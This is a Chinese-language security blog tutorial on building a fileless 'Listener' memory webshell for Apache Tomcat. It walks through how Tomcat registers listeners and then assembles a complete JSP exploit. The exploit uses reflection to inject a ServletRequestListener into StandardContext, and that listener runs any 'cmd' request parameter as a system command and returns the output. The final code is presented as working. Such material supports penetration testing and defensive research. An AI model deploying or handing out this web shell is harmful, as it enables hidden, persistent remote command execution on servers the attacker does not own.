Java安全-Tomcat 之 Listener 型内存马
内存马可以实现落地无文件,有很强的隐蔽性,但是攻击方式比较局限,只能文件上传
Listener基础知识
Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件
用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Listener 三个域对象
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的 Listener
Listener 基础代码实现
要求 Listener 的业务对象要实现 EventListener 这个接口
我们可以先去看一下 EventListener 这个接口

可以看到这个接口有非常多的实现方法,如果需要实现内存马的话就需要找一个每个请求都会触发的 Listener,我们去寻找的时候一定是优先找 Servlet 开头的类
这里找到了 ServletRequestListener ,因为根据名字以及其中的 requestInitialized() 方法(初始化请求)感觉我们的发送的每个请求都会触发这个监控器

尝试写一个Listener并测试
因为前面猜想 requestInitialized() 方法可以触发 Listener 监控器,所以我们在 requestInitialized() 方法里面加上一些代码,来证明它何时被执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.util.EventListener; @WebListener("/listenerTest") public class ListenerTest implements ServletRequestListener { public ListenerTest(){ } @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener 被调用"); } }
|
同样添加web.xml文件
1 2 3
| <listener> <listener-class>Listener.ListenerTest</listener-class> </listener>
|
接着访问对应的路径即可
当我们访问对应路径的时候,会在控制台打印出如下的信息

Listener流程分析
- 流程分析的意义是让我们能够正确的写入恶意的内存马,具体要解决的其实有以下两个问题:
- 我们的恶意代码应该在哪儿编写?
- Tomcat 中的 Listener 是如何实现注册的?
访问前
先读取 web.xml
在启动应用的时候,ContextConfig 类会去读取配置文件,所以我们去到 ContextConfig 这个类里面找一下哪个方法是来读取配置文件的
这里找到configureContext方法,这个方法将web.xml作为参数传入了

这段代码很长,但是核心业务逻辑就是把 web.xml(解析后的 WebXml 对象)里的配置信息,逐项设置到 StandardContext(也就是 Tomcat 中代表某个 Web 应用的 Context 容器)上
我们重点关注 Listener 的读取,最后找到在这个地方读取了 web.xml

跟进addApplicationListener看一下
找到实现方法,是在StandardContext

下断点开始调试
这个断点下在获取到web.xml处

我们看到 webxml 里面的 listener 已经有了对应的 Listener 文件,继续往下走

经过一系列代码,最后会走到addApplicationListener这里
读取完配置文件,加载 Listener
当我们读取完配置文件,当应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务

刚开始的地方,listenerStart() 方法中有这么一个语句:
1
| String listeners[] = findApplicationListeners();
|
这里实际就是把之前add的 Listener 存到这里面
跟到这里的时候感觉listener流程是跟filter非常像的,而且在listenerStart()方法中找到有调用add方法,可以添加listener,可能会在这里注入构造好的恶意listener
访问后
我们最先开始调试,肯定是把断点下在 requestInitialized() 方法这里的,调试之后发现一个什么问题呢?是我们走进去之后的代码没有什么实际作用,其实这里是断点下错了,正确的断点位置应该下在这里。

正确的断点位置如图,这个方法才是关键点

开始调试,这里我们先进到 getApplicationEventListeners() 方法里面
getApplicationEventListeners() 方法做了这么一件事:获取一个 Listener 数组
1 2 3
| public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
|
我们可以点进去看一下 applicationEventListenersList 是什么,可以看到 Listener 实际上是存储在 applicationEventListenersList 属性中的
我这里总是断不到,借用一下其他师傅的

并且我们可以通过 StandardContext#addApplicationEventListener() 方法来添加 Listener
1 2 3
| public void addApplicationEventListener(Object listener) { applicationEventListenersList.add(listener); }
|
到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。
在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的 requestInitialized() 方法去

小结
- 在应用开始前,先读取了 web.xml,从中读取到 Listeners,并进行加载;加载完毕之后会进行逐个读取,对每一个 Listener,都会到
requestInitialized() 方法进去
Listener内存马EXP
构造思路
这个构造思路是比filter要简单很多的,只需要写一个实现了 requestInitialized() 方法的恶意Listener,再添加到储存Listener的数组里就可以
- 把恶意代码写在对应 Listener 的
requestInitialized() 方法里面
- 反射获取StandardContext类
- 通过 StandardContext 类的
addApplicationEventListener() 方法把恶意的 Listener 放进去
实现
编写恶意requestInitialized方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); }
|
之后构造一个恶意的Listener类,实现ServletRequestListener接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) { } %>
|
获取StandardContext
在 StandardHostValve#invoke 中,可以看到其通过request对象来获取 StandardContext 类
这里不使用反射获取,尝试调用invoke使用request获取

由于JSP内置了request对象,我们也尝试这样获取
1 2 3 4 5 6
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
|
new 一个Shell_Listener
使用addApplicationEventListener()添加listener
1 2 3 4
| <% Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
|
最后把这几段拼起来,就得到了最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%! class ListenerMemShell implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse(); if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre) { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray()); %>
|
这个是能够顺利执行的